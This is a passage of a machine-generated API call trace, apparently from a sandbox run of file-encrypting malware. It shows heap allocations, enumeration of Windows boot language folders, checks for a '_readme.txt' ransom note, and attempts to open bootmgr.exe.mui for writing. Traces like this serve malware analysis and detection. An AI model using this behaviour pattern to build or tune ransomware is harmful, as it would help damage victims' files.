(HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.563] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0122.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.563] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.563] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.563] PathFindFileNameW (pszPath="") returned="" [0122.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.563] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.563] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.563] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.563] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x3067040 [0122.564] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0122.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.564] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0122.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.564] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.564] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.564] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.564] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0122.564] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.564] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c22630, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.565] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned=".txt" [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.565] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c22630, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.565] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.565] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.565] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.566] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0122.566] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.566] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.566] PathFindFileNameW (pszPath="") returned="" [0122.566] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.566] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.566] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.566] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.566] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0122.566] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0122.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.567] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.567] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.567] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.567] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0122.567] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.567] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c48790, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.567] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned=".txt" [0122.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.567] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c48790, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.567] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.567] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.567] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: 